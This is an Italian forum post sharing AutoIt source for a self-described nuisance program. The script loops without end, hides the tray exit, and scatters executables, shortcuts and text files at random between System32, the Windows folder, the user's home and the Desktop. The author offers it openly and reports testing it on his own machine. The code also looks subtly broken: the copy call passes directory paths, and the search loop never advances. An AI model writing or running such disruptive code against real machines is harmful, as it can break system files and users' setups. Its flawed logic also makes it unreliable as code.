paolo the best(ia) |
|
| helo a tutti, sapete... spesso mi sveglio la notte, e mi saltano per la testa tutti i possibili prog del mondo... questa notte passata ho ricevuto questo sorgente in sogno (bhθ per modo di dire)... θ uin programma (chiamatelo anche un weed un pς disturbatore) che sposta a caso file, da alcune directory preimpostate (scelte a caso dalla lita di defaut nel prog) , ad altre directory preimpostate (scelte a caso da una lista anche queste)... l'ho provato e mi sono trovato uno screensaver, la libreria ade.dll e qualche altro file sul desktop... perciς dovrebbe fungere, anche se non rispetta tando le estensioni impostate in random ho messo anche un poco di commenti... non tutti hanno la mente contorta come a mia CODICE ;~ non disattivabile in traicon
Break(0)
;~ ovvio ciclo infinito
While 1=1
;~ imposto alcune variabili di sistema gegeriche
$1=@SystemDir
$2=@HomeDrive & @HomePath
$3=@HomeDrive & "\windows"
$4=@HomeDrive & @HomePath & "\Desktop"
$intervallo=5
;~ randomizzo un numero che influenzerΰ la directory su cui farς il cd
$rand=Int(Random(1, "" & $intervallo))
;~ seleziono la dir di lavoro (randomizzata in precedenza
Select
Case $rand=1
$dir_=$1
Case $rand=2
$dir_=$2
case $rand=3
$dir_=$3
Case $rand=4
$dir_=$4
EndSelect
;~ randomizzo l'estensione di file da spostare
$rand=Int(Random(1, "" & $intervallo))
;~ come sopra
Select
case $rand=1
$file="*.exe"
Case $rand=2
$file="*.lnk"
Case Default
$file="*.txt"
EndSelect
;~ faccio il cd della dir randomizzata
FileChangeDir("" & $dir_)
;~ altro ciclo infinito, che cerca tutti i file con estensione $file... quando non ne trova + esce
While 1=1
$trovato=FileFindFirstFile("" & $file)
If $trovato = -1 Then
ExitLoop
EndIf
;~ random su cartella di destinazione
$rand=Int(Random(1, "" & $intervallo))
;~ imposto la cartella randomizzata
Select
Case $rand=1
$dir_2=$1
Case $rand=2
$dir_2=$2
case $rand=3
$dir_2=$3
Case $rand=4
$dir_2=$4
EndSelect
;~ copio in file $file nella cartella dir_2 da dir_
FileCopy("" & $dir_, "" & $dir_2)
WEnd
;~ torno all'inizio
WEnd |
| | |
